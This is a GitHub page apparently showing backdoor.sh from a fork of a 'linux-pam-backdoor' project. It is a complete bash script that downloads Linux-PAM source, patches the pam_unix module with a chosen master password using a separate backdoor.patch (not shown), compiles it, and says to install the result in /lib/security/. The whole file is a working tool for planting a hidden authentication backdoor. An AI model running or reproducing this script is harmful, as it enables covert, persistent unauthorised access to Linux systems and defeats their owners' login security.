forked from zephrax/linux-pam-backdoor
-
Notifications
You must be signed in to change notification settings - Fork 0
/
backdoor.sh
executable file
·68 lines (54 loc) · 1.21 KB
/
backdoor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/bin/bash
OPTIND=1
PAM_VERSION=
PAM_FILE=
PASSWORD=
echo "Automatic PAM Backdoor"
function show_help {
echo ""
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
echo "For a list of supported versions: http://www.linux-pam.org/library/"
}
while getopts ":h:?:p:v:" opt; do
case "$opt" in
h|\?)
show_help
exit 0
;;
v) PAM_VERSION="$OPTARG"
;;
p) PASSWORD="$OPTARG"
;;
esac
done
shift $((OPTIND-1))
[ "$1" = "--" ] && shift
if [ -z $PAM_VERSION ]; then
show_help
exit 1
fi;
if [ -z $PASSWORD ]; then
show_help
exit 1
fi;
echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""
PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch`
if [ $? -ne 0 ]; then
echo "Error: patch command not found. Exiting..."
exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
tar xjf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""